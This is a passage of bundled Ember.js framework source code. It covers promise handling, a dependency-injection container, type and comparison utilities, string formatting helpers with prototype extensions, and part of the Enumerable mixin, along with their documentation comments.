(hasCallback) { try { value = callback(event.detail); succeeded = true; } catch(e) { failed = true; error = e; } } else { value = event.detail; succeeded = true; } if (value && typeof value.then === 'function') { value.then(function(value) { promise.resolve(value); }, function(error) { promise.reject(error); }); } else if (hasCallback && succeeded) { promise.resolve(value); } else if (failed) { promise.reject(error); } else { promise[type](value); } }; Promise.prototype = { then: function(done, fail) { var thenPromise = new Promise(); if (this.isResolved) { RSVP.async(function() { invokeCallback('resolve', thenPromise, done, { detail: this.resolvedValue }); }, this); } if (this.isRejected) { RSVP.async(function() { invokeCallback('reject', thenPromise, fail, { detail: this.rejectedValue }); }, this); } this.on('promise:resolved', function(event) { invokeCallback('resolve', thenPromise, done, event); }); this.on('promise:failed', function(event) { invokeCallback('reject', thenPromise, fail, event); }); return thenPromise; }, resolve: function(value) { resolve(this, value); this.resolve = noop; this.reject = noop; }, reject: function(value) { reject(this, value); this.resolve = noop; this.reject = noop; } }; function resolve(promise, value) { RSVP.async(function() { promise.trigger('promise:resolved', { detail: value }); promise.isResolved = true; promise.resolvedValue = value; }); } function reject(promise, value) { RSVP.async(function() { promise.trigger('promise:failed', { detail: value }); promise.isRejected = true; promise.rejectedValue = value; }); } EventTarget.mixin(Promise.prototype); RSVP = { async: async, Promise: Promise, Event: Event, EventTarget: EventTarget }; return RSVP; }); })(); (function() { define("container", [], function() { var objectCreate = Object.create || function(parent) { function F() {} F.prototype = parent; return new F(); }; function InheritingDict(parent) { this.parent = parent; this.dict = {}; } InheritingDict.prototype = { get: function(key) { var dict = this.dict; if (dict.hasOwnProperty(key)) { return dict[key]; } if (this.parent) { return this.parent.get(key); } }, set: function(key, value) { this.dict[key] = value; }, has: function(key) { var dict = this.dict; if (dict.hasOwnProperty(key)) { return true; } if (this.parent) { return this.parent.has(key); } return false; }, eachLocal: function(callback, binding) { var dict = this.dict; for (var prop in dict) { if (dict.hasOwnProperty(prop)) { callback.call(binding, prop, dict[prop]); } } } }; function Container(parent) { this.parent = parent; this.children = []; this.resolver = parent && parent.resolver || function() {}; this.registry = new InheritingDict(parent && parent.registry); this.cache = new InheritingDict(parent && parent.cache); this.typeInjections = new InheritingDict(parent && parent.typeInjections); this.injections = {}; this._options = new InheritingDict(parent && parent._options); this._typeOptions = new InheritingDict(parent && parent._typeOptions); } Container.prototype = { child: function() { var container = new Container(this); this.children.push(container); return container; }, set: function(object, key, value) { object[key] = value; }, register: function(type, name, factory, options) { var fullName; if (type.indexOf(':') !== -1){ options = factory; factory = name; fullName = type; } else { fullName = type + ":" + name; } this.registry.set(fullName, factory); this._options.set(fullName, options || {}); }, resolve: function(fullName) { return this.resolver(fullName) || this.registry.get(fullName); }, lookup: function(fullName) { if (this.cache.has(fullName)) { return this.cache.get(fullName); } var value = instantiate(this, fullName); if (!value) { return; } if (isSingleton(this, fullName)) { this.cache.set(fullName, value); } return value; }, has: function(fullName) { if (this.cache.has(fullName)) { return true; } return !!factoryFor(this, fullName); }, optionsForType: function(type, options) { if (this.parent) { illegalChildOperation('optionsForType'); } this._typeOptions.set(type, options); }, options: function(type, options) { this.optionsForType(type, options); }, typeInjection: function(type, property, fullName) { if (this.parent) { illegalChildOperation('typeInjection'); } var injections = this.typeInjections.get(type); if (!injections) { injections = []; this.typeInjections.set(type, injections); } injections.push({ property: property, fullName: fullName }); }, injection: function(factoryName, property, injectionName) { if (this.parent) { illegalChildOperation('injection'); } if (factoryName.indexOf(':') === -1) { return this.typeInjection(factoryName, property, injectionName); } var injections = this.injections[factoryName] = this.injections[factoryName] || []; injections.push({ property: property, fullName: injectionName }); }, destroy: function() { this.isDestroyed = true; for (var i=0, l=this.children.length; i<l; i++) { this.children[i].destroy(); } this.children = []; eachDestroyable(this, function(item) { item.isDestroying = true; }); eachDestroyable(this, function(item) { item.destroy(); }); delete this.parent; this.isDestroyed = true; }, reset: function() { for (var i=0, l=this.children.length; i<l; i++) { resetCache(this.children[i]); } resetCache(this); } }; function illegalChildOperation(operation) { throw new Error(operation + " is not currently supported on child containers"); } function isSingleton(container, fullName) { var singleton = option(container, fullName, 'singleton'); return singleton !== false; } function buildInjections(container, injections) { var hash = {}; if (!injections) { return hash; } var injection, lookup; for (var i=0, l=injections.length; i<l; i++) { injection = injections[i]; lookup = container.lookup(injection.fullName); hash[injection.property] = lookup; } return hash; } function option(container, fullName, optionName) { var options = container._options.get(fullName); if (options && options[optionName] !== undefined) { return options[optionName]; } var type = fullName.split(":")[0]; options = container._typeOptions.get(type); if (options) { return options[optionName]; } } function factoryFor(container, fullName) { return container.resolve(fullName); } function instantiate(container, fullName) { var factory = factoryFor(container, fullName); var splitName = fullName.split(":"), type = splitName[0], name = splitName[1], value; if (option(container, fullName, 'instantiate') === false) { return factory; } if (factory) { var injections = []; injections = injections.concat(container.typeInjections.get(type) || []); injections = injections.concat(container.injections[fullName] || []); var hash = buildInjections(container, injections); hash.container = container; value = factory.create(hash); return value; } } function eachDestroyable(container, callback) { container.cache.eachLocal(function(key, value) { if (option(container, key, 'instantiate') === false) { return; } callback(value); }); } function resetCache(container) { container.cache.eachLocal(function(key, value) { if (option(container, key, 'instantiate') === false) { return; } value.destroy(); }); container.cache.dict = {}; } return Container; }); })(); (function() { /*globals ENV */ /** @module ember @submodule ember-runtime */ var indexOf = Ember.EnumerableUtils.indexOf; // ........................................ // TYPING & ARRAY MESSAGING // var TYPE_MAP = {}; var t = "Boolean Number String Function Array Date RegExp Object".split(" "); Ember.ArrayPolyfills.forEach.call(t, function(name) { TYPE_MAP[ "[object " + name + "]" ] = name.toLowerCase(); }); var toString = Object.prototype.toString; /** Returns a consistent type for the passed item. Use this instead of the built-in `typeof` to get the type of an item. It will return the same result across all browsers and includes a bit more detail. Here is what will be returned: | Return Value | Meaning | |---------------|------------------------------------------------------| | 'string' | String primitive | | 'number' | Number primitive | | 'boolean' | Boolean primitive | | 'null' | Null value | | 'undefined' | Undefined value | | 'function' | A function | | 'array' | An instance of Array | | 'class' | A Ember class (created using Ember.Object.extend()) | | 'instance' | A Ember object instance | | 'error' | An instance of the Error object | | 'object' | A JavaScript object not inheriting from Ember.Object | Examples: ```javascript Ember.typeOf(); // 'undefined' Ember.typeOf(null); // 'null' Ember.typeOf(undefined); // 'undefined' Ember.typeOf('michael'); // 'string' Ember.typeOf(101); // 'number' Ember.typeOf(true); // 'boolean' Ember.typeOf(Ember.makeArray); // 'function' Ember.typeOf([1,2,90]); // 'array' Ember.typeOf(Ember.Object.extend()); // 'class' Ember.typeOf(Ember.Object.create()); // 'instance' Ember.typeOf(new Error('teamocil')); // 'error' // "normal" JavaScript object Ember.typeOf({a: 'b'}); // 'object' ``` @method typeOf @for Ember @param item {Object} the item to check @return {String} the type */ Ember.typeOf = function(item) { var ret; ret = (item === null || item === undefined) ? String(item) : TYPE_MAP[toString.call(item)] || 'object'; if (ret === 'function') { if (Ember.Object && Ember.Object.detect(item)) ret = 'class'; } else if (ret === 'object') { if (item instanceof Error) ret = 'error'; else if (Ember.Object && item instanceof Ember.Object) ret = 'instance'; else ret = 'object'; } return ret; }; /** Returns true if the passed value is null or undefined. This avoids errors from JSLint complaining about use of ==, which can be technically confusing. ```javascript Ember.isNone(); // true Ember.isNone(null); // true Ember.isNone(undefined); // true Ember.isNone(''); // false Ember.isNone([]); // false Ember.isNone(function(){}); // false ``` @method isNone @for Ember @param {Object} obj Value to test @return {Boolean} */ Ember.isNone = function(obj) { return obj === null || obj === undefined; }; Ember.none = Ember.deprecateFunc("Ember.none is deprecated. Please use Ember.isNone instead.", Ember.isNone); /** Verifies that a value is `null` or an empty string, empty array, or empty function. Constrains the rules on `Ember.isNone` by returning false for empty string and empty arrays. ```javascript Ember.isEmpty(); // true Ember.isEmpty(null); // true Ember.isEmpty(undefined); // true Ember.isEmpty(''); // true Ember.isEmpty([]); // true Ember.isEmpty('Adam Hawkins'); // false Ember.isEmpty([0,1,2]); // false ``` @method isEmpty @for Ember @param {Object} obj Value to test @return {Boolean} */ Ember.isEmpty = function(obj) { return obj === null || obj === undefined || (obj.length === 0 && typeof obj !== 'function') || (typeof obj === 'object' && Ember.get(obj, 'length') === 0); }; Ember.empty = Ember.deprecateFunc("Ember.empty is deprecated. Please use Ember.isEmpty instead.", Ember.isEmpty) ; /** This will compare two javascript values of possibly different types. It will tell you which one is greater than the other by returning: - -1 if the first is smaller than the second, - 0 if both are equal, - 1 if the first is greater than the second. The order is calculated based on `Ember.ORDER_DEFINITION`, if types are different. In case they have the same type an appropriate comparison for this type is made. ```javascript Ember.compare('hello', 'hello'); // 0 Ember.compare('abc', 'dfg'); // -1 Ember.compare(2, 1); // 1 ``` @method compare @for Ember @param {Object} v First value to compare @param {Object} w Second value to compare @return {Number} -1 if v < w, 0 if v = w and 1 if v > w. */ Ember.compare = function compare(v, w) { if (v === w) { return 0; } var type1 = Ember.typeOf(v); var type2 = Ember.typeOf(w); var Comparable = Ember.Comparable; if (Comparable) { if (type1==='instance' && Comparable.detect(v.constructor)) { return v.constructor.compare(v, w); } if (type2 === 'instance' && Comparable.detect(w.constructor)) { return 1-w.constructor.compare(w, v); } } // If we haven't yet generated a reverse-mapping of Ember.ORDER_DEFINITION, // do so now. var mapping = Ember.ORDER_DEFINITION_MAPPING; if (!mapping) { var order = Ember.ORDER_DEFINITION; mapping = Ember.ORDER_DEFINITION_MAPPING = {}; var idx, len; for (idx = 0, len = order.length; idx < len; ++idx) { mapping[order[idx]] = idx; } // We no longer need Ember.ORDER_DEFINITION. delete Ember.ORDER_DEFINITION; } var type1Index = mapping[type1]; var type2Index = mapping[type2]; if (type1Index < type2Index) { return -1; } if (type1Index > type2Index) { return 1; } // types are equal - so we have to check values now switch (type1) { case 'boolean': case 'number': if (v < w) { return -1; } if (v > w) { return 1; } return 0; case 'string': var comp = v.localeCompare(w); if (comp < 0) { return -1; } if (comp > 0) { return 1; } return 0; case 'array': var vLen = v.length; var wLen = w.length; var l = Math.min(vLen, wLen); var r = 0; var i = 0; while (r === 0 && i < l) { r = compare(v[i],w[i]); i++; } if (r !== 0) { return r; } // all elements are equal now // shorter array should be ordered first if (vLen < wLen) { return -1; } if (vLen > wLen) { return 1; } // arrays are equal now return 0; case 'instance': if (Ember.Comparable && Ember.Comparable.detect(v)) { return v.compare(v, w); } return 0; case 'date': var vNum = v.getTime(); var wNum = w.getTime(); if (vNum < wNum) { return -1; } if (vNum > wNum) { return 1; } return 0; default: return 0; } }; function _copy(obj, deep, seen, copies) { var ret, loc, key; // primitive data types are immutable, just return them. if ('object' !== typeof obj || obj===null) return obj; // avoid cyclical loops if (deep && (loc=indexOf(seen, obj))>=0) return copies[loc]; // IMPORTANT: this specific test will detect a native array only. Any other // object will need to implement Copyable. if (Ember.typeOf(obj) === 'array') { ret = obj.slice(); if (deep) { loc = ret.length; while(--loc>=0) ret[loc] = _copy(ret[loc], deep, seen, copies); } } else if (Ember.Copyable && Ember.Copyable.detect(obj)) { ret = obj.copy(deep, seen, copies); } else { ret = {}; for(key in obj) { if (!obj.hasOwnProperty(key)) continue; // Prevents browsers that don't respect non-enumerability from // copying internal Ember properties if (key.substring(0,2) === '__') continue; ret[key] = deep ? _copy(obj[key], deep, seen, copies) : obj[key]; } } if (deep) { seen.push(obj); copies.push(ret); } return ret; } /** Creates a clone of the passed object. This function can take just about any type of object and create a clone of it, including primitive values (which are not actually cloned because they are immutable). If the passed object implements the `clone()` method, then this function will simply call that method and return the result. @method copy @for Ember @param {Object} object The object to clone @param {Boolean} deep If true, a deep copy of the object is made @return {Object} The cloned object */ Ember.copy = function(obj, deep) { // fast paths if ('object' !== typeof obj || obj===null) return obj; // can't copy primitives if (Ember.Copyable && Ember.Copyable.detect(obj)) return obj.copy(deep); return _copy(obj, deep, deep ? [] : null, deep ? [] : null); }; /** Convenience method to inspect an object. This method will attempt to convert the object into a useful string description. It is a pretty simple implementation. If you want something more robust, use something like JSDump: https://github.com/NV/jsDump @method inspect @for Ember @param {Object} obj The object you want to inspect. @return {String} A description of the object */ Ember.inspect = function(obj) { if (typeof obj !== 'object' || obj === null) { return obj + ''; } var v, ret = []; for(var key in obj) { if (obj.hasOwnProperty(key)) { v = obj[key]; if (v === 'toString') { continue; } // ignore useless items if (Ember.typeOf(v) === 'function') { v = "function() { ... }"; } ret.push(key + ": " + v); } } return "{" + ret.join(", ") + "}"; }; /** Compares two objects, returning true if they are logically equal. This is a deeper comparison than a simple triple equal. For sets it will compare the internal objects. For any other object that implements `isEqual()` it will respect that method. ```javascript Ember.isEqual('hello', 'hello'); // true Ember.isEqual(1, 2); // false Ember.isEqual([4,2], [4,2]); // false ``` @method isEqual @for Ember @param {Object} a first object to compare @param {Object} b second object to compare @return {Boolean} */ Ember.isEqual = function(a, b) { if (a && 'function'===typeof a.isEqual) return a.isEqual(b); return a === b; }; // Used by Ember.compare Ember.ORDER_DEFINITION = Ember.ENV.ORDER_DEFINITION || [ 'undefined', 'null', 'boolean', 'number', 'string', 'array', 'object', 'instance', 'function', 'class', 'date' ]; /** Returns all of the keys defined on an object or hash. This is useful when inspecting objects for debugging. On browsers that support it, this uses the native `Object.keys` implementation. @method keys @for Ember @param {Object} obj @return {Array} Array containing keys of obj */ Ember.keys = Object.keys; if (!Ember.keys) { Ember.keys = function(obj) { var ret = []; for(var key in obj) { if (obj.hasOwnProperty(key)) { ret.push(key); } } return ret; }; } // .......................................................... // ERROR // var errorProps = ['description', 'fileName', 'lineNumber', 'message', 'name', 'number', 'stack']; /** A subclass of the JavaScript Error object for use in Ember. @class Error @namespace Ember @extends Error @constructor */ Ember.Error = function() { var tmp = Error.prototype.constructor.apply(this, arguments); // Unfortunately errors are not enumerable in Chrome (at least), so `for prop in tmp` doesn't work. for (var idx = 0; idx < errorProps.length; idx++) { this[errorProps[idx]] = tmp[errorProps[idx]]; } }; Ember.Error.prototype = Ember.create(Error.prototype); })(); (function() { /** @module ember @submodule ember-runtime */ var STRING_DASHERIZE_REGEXP = (/[ _]/g); var STRING_DASHERIZE_CACHE = {}; var STRING_DECAMELIZE_REGEXP = (/([a-z])([A-Z])/g); var STRING_CAMELIZE_REGEXP = (/(\-|_|\.|\s)+(.)?/g); var STRING_UNDERSCORE_REGEXP_1 = (/([a-z\d])([A-Z]+)/g); var STRING_UNDERSCORE_REGEXP_2 = (/\-|\s+/g); /** Defines the hash of localized strings for the current language. Used by the `Ember.String.loc()` helper. To localize, add string values to this hash. @property STRINGS @for Ember @type Hash */ Ember.STRINGS = {}; /** Defines string helper methods including string formatting and localization. Unless `Ember.EXTEND_PROTOTYPES.String` is `false` these methods will also be added to the `String.prototype` as well. @class String @namespace Ember @static */ Ember.String = { /** Apply formatting options to the string. This will look for occurrences of "%@" in your string and substitute them with the arguments you pass into this method. If you want to control the specific order of replacement, you can add a number after the key as well to indicate which argument you want to insert. Ordered insertions are most useful when building loc strings where values you need to insert may appear in different orders. ```javascript "Hello %@ %@".fmt('John', 'Doe'); // "Hello John Doe" "Hello %@2, %@1".fmt('John', 'Doe'); // "Hello Doe, John" ``` @method fmt @param {Object...} [args] @return {String} formatted string */ fmt: function(str, formats) { // first, replace any ORDERED replacements. var idx = 0; // the current index for non-numerical replacements return str.replace(/%@([0-9]+)?/g, function(s, argIndex) { argIndex = (argIndex) ? parseInt(argIndex,0) - 1 : idx++ ; s = formats[argIndex]; return ((s === null) ? '(null)' : (s === undefined) ? '' : s).toString(); }) ; }, /** Formats the passed string, but first looks up the string in the localized strings hash. This is a convenient way to localize text. See `Ember.String.fmt()` for more information on formatting. Note that it is traditional but not required to prefix localized string keys with an underscore or other character so you can easily identify localized strings. ```javascript Ember.STRINGS = { '_Hello World': 'Bonjour le monde', '_Hello %@ %@': 'Bonjour %@ %@' }; Ember.String.loc("_Hello World"); // 'Bonjour le monde'; Ember.String.loc("_Hello %@ %@", ["John", "Smith"]); // "Bonjour John Smith"; ``` @method loc @param {String} str The string to format @param {Array} formats Optional array of parameters to interpolate into string. @return {String} formatted string */ loc: function(str, formats) { str = Ember.STRINGS[str] || str; return Ember.String.fmt(str, formats) ; }, /** Splits a string into separate units separated by spaces, eliminating any empty strings in the process. This is a convenience method for split that is mostly useful when applied to the `String.prototype`. ```javascript Ember.String.w("alpha beta gamma").forEach(function(key) { console.log(key); }); // > alpha // > beta // > gamma ``` @method w @param {String} str The string to split @return {String} split string */ w: function(str) { return str.split(/\s+/); }, /** Converts a camelized string into all lower case separated by underscores. ```javascript 'innerHTML'.decamelize(); // 'inner_html' 'action_name'.decamelize(); // 'action_name' 'css-class-name'.decamelize(); // 'css-class-name' 'my favorite items'.decamelize(); // 'my favorite items' ``` @method decamelize @param {String} str The string to decamelize. @return {String} the decamelized string. */ decamelize: function(str) { return str.replace(STRING_DECAMELIZE_REGEXP, '$1_$2').toLowerCase(); }, /** Replaces underscores or spaces with dashes. ```javascript 'innerHTML'.dasherize(); // 'inner-html' 'action_name'.dasherize(); // 'action-name' 'css-class-name'.dasherize(); // 'css-class-name' 'my favorite items'.dasherize(); // 'my-favorite-items' ``` @method dasherize @param {String} str The string to dasherize. @return {String} the dasherized string. */ dasherize: function(str) { var cache = STRING_DASHERIZE_CACHE, ret = cache[str]; if (ret) { return ret; } else { ret = Ember.String.decamelize(str).replace(STRING_DASHERIZE_REGEXP,'-'); cache[str] = ret; } return ret; }, /** Returns the lowerCaseCamel form of a string. ```javascript 'innerHTML'.camelize(); // 'innerHTML' 'action_name'.camelize(); // 'actionName' 'css-class-name'.camelize(); // 'cssClassName' 'my favorite items'.camelize(); // 'myFavoriteItems' ``` @method camelize @param {String} str The string to camelize. @return {String} the camelized string. */ camelize: function(str) { return str.replace(STRING_CAMELIZE_REGEXP, function(match, separator, chr) { return chr ? chr.toUpperCase() : ''; }); }, /** Returns the UpperCamelCase form of a string. ```javascript 'innerHTML'.classify(); // 'InnerHTML' 'action_name'.classify(); // 'ActionName' 'css-class-name'.classify(); // 'CssClassName' 'my favorite items'.classify(); // 'MyFavoriteItems' ``` @method classify @param {String} str the string to classify @return {String} the classified string */ classify: function(str) { var parts = str.split("."), out = []; for (var i=0, l=parts.length; i<l; i++) { var camelized = Ember.String.camelize(parts[i]); out.push(camelized.charAt(0).toUpperCase() + camelized.substr(1)); } return out.join("."); }, /** More general than decamelize. Returns the lower\_case\_and\_underscored form of a string. ```javascript 'innerHTML'.underscore(); // 'inner_html' 'action_name'.underscore(); // 'action_name' 'css-class-name'.underscore(); // 'css_class_name' 'my favorite items'.underscore(); // 'my_favorite_items' ``` @method underscore @param {String} str The string to underscore. @return {String} the underscored string. */ underscore: function(str) { return str.replace(STRING_UNDERSCORE_REGEXP_1, '$1_$2'). replace(STRING_UNDERSCORE_REGEXP_2, '_').toLowerCase(); }, /** Returns the Capitalized form of a string 'innerHTML'.capitalize() => 'InnerHTML' 'action_name'.capitalize() => 'Action_name' 'css-class-name'.capitalize() => 'Css-class-name' 'my favorite items'.capitalize() => 'My favorite items' @method capitalize @param {String} str @return {String} */ capitalize: function(str) { return str.charAt(0).toUpperCase() + str.substr(1); } }; })(); (function() { /** @module ember @submodule ember-runtime */ var fmt = Ember.String.fmt, w = Ember.String.w, loc = Ember.String.loc, camelize = Ember.String.camelize, decamelize = Ember.String.decamelize, dasherize = Ember.String.dasherize, underscore = Ember.String.underscore, capitalize = Ember.String.capitalize, classify = Ember.String.classify; if (Ember.EXTEND_PROTOTYPES === true || Ember.EXTEND_PROTOTYPES.String) { /** See {{#crossLink "Ember.String/fmt"}}{{/crossLink}} @method fmt @for String */ String.prototype.fmt = function() { return fmt(this, arguments); }; /** See {{#crossLink "Ember.String/w"}}{{/crossLink}} @method w @for String */ String.prototype.w = function() { return w(this); }; /** See {{#crossLink "Ember.String/loc"}}{{/crossLink}} @method loc @for String */ String.prototype.loc = function() { return loc(this, arguments); }; /** See {{#crossLink "Ember.String/camelize"}}{{/crossLink}} @method camelize @for String */ String.prototype.camelize = function() { return camelize(this); }; /** See {{#crossLink "Ember.String/decamelize"}}{{/crossLink}} @method decamelize @for String */ String.prototype.decamelize = function() { return decamelize(this); }; /** See {{#crossLink "Ember.String/dasherize"}}{{/crossLink}} @method dasherize @for String */ String.prototype.dasherize = function() { return dasherize(this); }; /** See {{#crossLink "Ember.String/underscore"}}{{/crossLink}} @method underscore @for String */ String.prototype.underscore = function() { return underscore(this); }; /** See {{#crossLink "Ember.String/classify"}}{{/crossLink}} @method classify @for String */ String.prototype.classify = function() { return classify(this); }; /** See {{#crossLink "Ember.String/capitalize"}}{{/crossLink}} @method capitalize @for String */ String.prototype.capitalize = function() { return capitalize(this); }; } })(); (function() { /** @module ember @submodule ember-runtime */ var a_slice = Array.prototype.slice; if (Ember.EXTEND_PROTOTYPES === true || Ember.EXTEND_PROTOTYPES.Function) { /** The `property` extension of Javascript's Function prototype is available when `Ember.EXTEND_PROTOTYPES` or `Ember.EXTEND_PROTOTYPES.Function` is `true`, which is the default. Computed properties allow you to treat a function like a property: ```javascript MyApp.president = Ember.Object.create({ firstName: "Barack", lastName: "Obama", fullName: function() { return this.get('firstName') + ' ' + this.get('lastName'); // Call this flag to mark the function as a property }.property() }); MyApp.president.get('fullName'); // "Barack Obama" ``` Treating a function like a property is useful because they can work with bindings, just like any other property. Many computed properties have dependencies on other properties. For example, in the above example, the `fullName` property depends on `firstName` and `lastName` to determine its value. You can tell Ember about these dependencies like this: ```javascript MyApp.president = Ember.Object.create({ firstName: "Barack", lastName: "Obama", fullName: function() { return this.get('firstName') + ' ' + this.get('lastName'); // Tell Ember.js that this computed property depends on firstName // and lastName }.property('firstName', 'lastName') }); ``` Make sure you list these dependencies so Ember knows when to update bindings that connect to a computed property. Changing a dependency will not immediately trigger an update of the computed property, but will instead clear the cache so that it is updated when the next `get` is called on the property. See {{#crossLink "Ember.ComputedProperty"}}{{/crossLink}}, {{#crossLink "Ember/computed"}}{{/crossLink}} @method property @for Function */ Function.prototype.property = function() { var ret = Ember.computed(this); return ret.property.apply(ret, arguments); }; /** The `observes` extension of Javascript's Function prototype is available when `Ember.EXTEND_PROTOTYPES` or `Ember.EXTEND_PROTOTYPES.Function` is true, which is the default. You can observe property changes simply by adding the `observes` call to the end of your method declarations in classes that you write. For example: ```javascript Ember.Object.create({ valueObserver: function() { // Executes whenever the "value" property changes }.observes('value') }); ``` See {{#crossLink "Ember.Observable/observes"}}{{/crossLink}} @method observes @for Function */ Function.prototype.observes = function() { this.__ember_observes__ = a_slice.call(arguments); return this; }; /** The `observesBefore` extension of Javascript's Function prototype is available when `Ember.EXTEND_PROTOTYPES` or `Ember.EXTEND_PROTOTYPES.Function` is true, which is the default. You can get notified when a property changes is about to happen by by adding the `observesBefore` call to the end of your method declarations in classes that you write. For example: ```javascript Ember.Object.create({ valueObserver: function() { // Executes whenever the "value" property is about to change }.observesBefore('value') }); ``` See {{#crossLink "Ember.Observable/observesBefore"}}{{/crossLink}} @method observesBefore @for Function */ Function.prototype.observesBefore = function() { this.__ember_observesBefore__ = a_slice.call(arguments); return this; }; } })(); (function() { })(); (function() { /** @module ember @submodule ember-runtime */ // .......................................................... // HELPERS // var get = Ember.get, set = Ember.set; var a_slice = Array.prototype.slice; var a_indexOf = Ember.EnumerableUtils.indexOf; var contexts = []; function popCtx() { return contexts.length===0 ? {} : contexts.pop(); } function pushCtx(ctx) { contexts.push(ctx); return null; } function iter(key, value) { var valueProvided = arguments.length === 2; function i(item) { var cur = get(item, key); return valueProvided ? value===cur : !!cur; } return i ; } /** This mixin defines the common interface implemented by enumerable objects in Ember. Most of these methods follow the standard Array iteration API defined up to JavaScript 1.8 (excluding language-specific features that cannot be emulated in older versions of JavaScript). This mixin is applied automatically to the Array class on page load, so you can use any of these methods on simple arrays. If Array already implements one of these methods, the mixin will not override them. ## Writing Your Own Enumerable To make your own custom class enumerable, you need two items: 1. You must have a length property. This property should change whenever the number of items in your enumerable object changes. If you using this with an `Ember.Object` subclass, you should be sure to change the length property using `set().` 2. If you must implement `nextObject().` See documentation. Once you have these two methods implement, apply the `Ember.Enumerable` mixin to your class and you will be able to enumerate the contents of your object like any other collection. ## Using Ember Enumeration with Other Libraries Many other libraries provide some kind of iterator or enumeration like facility. This is often where the most common API conflicts occur. Ember's API is designed to be as friendly as possible with other libraries by implementing only methods that mostly correspond to the JavaScript 1.8 API. @class Enumerable @namespace Ember @extends Ember.Mixin @since Ember 0.9 */ Ember.Enumerable = Ember.Mixin.create( /** @scope Ember.Enumerable.prototype */ { // compatibility isEnumerable: true, /** Implement this method to make your class enumerable. This method will be call repeatedly during enumeration. The index value will always begin with 0 and increment monotonically. You don't have to rely on the index value to determine what object to return, but you should always check the value and start from the beginning when you see the requested index is 0. The `previousObject` is the object that was returned from the last call to `nextObject` for the current iteration. This is a useful way to manage iteration if you are tracing a linked list, for example. Finally the context parameter will always contain a hash you can use as a "scratchpad" to maintain any other state you need in order to iterate properly. The context object is reused and is not reset between iterations so make sure you setup the context with a fresh state whenever the index parameter is 0. Generally iterators will continue to call `nextObject` until the index reaches the your current length-1. If you run out of data before this time for some reason, you should simply return undefined. The default implementation of this method simply looks up the index. This works great on any Array-like objects. @method nextObject @param {Number} index the current index of the iteration @param {Object} previousObject the value returned by the last call to `nextObject`. @param {Object} context a context object you can use to maintain state. @return {Object} the next object in the iteration or undefined */ nextObject: Ember.required(Function), /** Helper method returns the first object from a collection. This is usually used by bindings and other parts of the framework to extract a single object if the enumerable contains only one item. If you override this method, you should implement it so that it will always return the same value each time it is called. If your enumerable contains only one object, this method should always return that object. If your enumerable is empty, this method should return `undefined`. ```javascript var arr = ["a", "b", "c"]; arr.firstObject(); // "a" var arr = []; arr.firstObject(); // undefined ``` @property firstObject @return {Object} the object or undefined */ firstObject: Ember.computed(function() { if (get(this, 'length')===0) return undefined ; // handle generic enumerables var context = popCtx(), ret; ret = this.nextObject(0, null, context); pushCtx(context); return ret ; }).property('[]'), /** Helper method returns the last object from a collection. If your enumerable contains only one object, this method should always return that object. If your enumerable is empty, this method should return `undefined`. ```javascript var arr = ["a", "b", "c"]; arr.lastObject(); // "c" var arr = []; arr.lastObject(); // undefined ``` @property lastObject @return {Object} the last object or undefined */ lastObject: Ember.computed(function() { var len = get(this, 'length'); if (len===0) return undefined ; var context = popCtx(), idx=0, cur, last = null; do { last = cur; cur = this.nextObject(idx++, last, context); } while (cur !== undefined); pushCtx(context); return last; }).property('[]'), /** Returns `true` if the passed object can be found in the receiver. The default version will iterate through the enumerable until the object is found. You may want to override this with a more efficient version. ```javascript var arr = ["a", "b", "c"]; arr.contains("a"); // true arr.contains("z"); // false ``` @method contains @param {Object} obj The object to search for. @return {Boolean} `true` if object is found in enumerable. */ contains: function(obj) { return this.find(function(item) { return item===obj; }) !== undefined; }, /** Iterates through the enumerable, calling the passed function on each item. This method corresponds to the `forEach()` method defined in JavaScript 1.6. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(item, index, enumerable); ``` - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. Note that in addition to a callback, you can also pass an optional target object that will be set as `this` on the context. This is a good way to give your iterator function access to the current object. @method forEach @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Object} receiver */ forEach: function(callback, target) { if (typeof callback !== "function") throw new TypeError() ; var len = get(this, 'length'), last = null, context = popCtx(); if (target === undefined) target = null; for(var idx=0;idx<len;idx++) { var next = this.nextObject(idx, last, context) ; callback.call(target, next, idx, this); last = next ; } last = null ; context = pushCtx(context); return this ; }, /** Alias for `mapProperty` @method getEach @param {String} key name of the property @return {Array} The mapped array. */ getEach: function(key) { return this.mapProperty(key); }, /** Sets the value on the named property for each member. This is more efficient than using other methods defined on this helper. If the object implements Ember.Observable, the value will be changed to `set(),` otherwise it will be set directly. `null` objects are skipped. @method setEach @param {String} key The key to set @param {Object} value The object to set @return {Object} receiver */ setEach: function(key, value) { return this.forEach(function(item) { set(item, key, value); }); }, /** Maps all of the items in the enumeration to another value, returning a new array. This method corresponds to `map()` defined in JavaScript 1.6. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(item, index, enumerable); ``` - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. It should return the mapped value. Note that in addition to a callback, you can also pass an optional target object that will be set as `this` on the context. This is a good way to give your iterator function access to the current object. @method map @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Array} The mapped array. */ map: function(callback, target) { var ret = []; this.forEach(function(x, idx, i) { ret[idx] = callback.call(target, x, idx,i); }); return ret ; }, /** Similar to map, this specialized function returns the value of the named property on all items in the enumeration. @method mapProperty @param {String} key name of the property @return {Array} The mapped array. */ mapProperty: function(key) { return this.map(function(next) { return get(next, key); }); }, /** Returns an array with all of the items in the enumeration that the passed function returns true for. This method corresponds to `filter()` defined in JavaScript 1.6. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(item, index, enumerable); ``` - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. It should return the `true` to include the item in the results, `false` otherwise. Note that in addition to a callback, you can also pass an optional target object that will be set as `this` on the context. This is a good way to give your iterator function access to the current object. @method filter @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Array} A filtered array. */ filter: function(callback, target) { var ret = []; this.forEach(function(x, idx, i) { if (callback.call(target, x, idx, i)) ret.push(x); }); return ret ; }, /** Returns an array with all of the items in the enumeration where the passed function returns false for. This method is the inverse of filter(). The callback method you provide should have the following signature (all parameters are optional): function(item, index, enumerable); - *item* is the current item in the iteration. - *index* is the current index in the iteration - *enumerable* is the enumerable object itself. It should return the a falsey value to include the item in the results. Note that in addition to a callback, you can also pass an optional target object that will be set as "this" on the context. This is a good way to give your iterator function access to the current object. @method reject @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Array} A rejected array. */ reject: 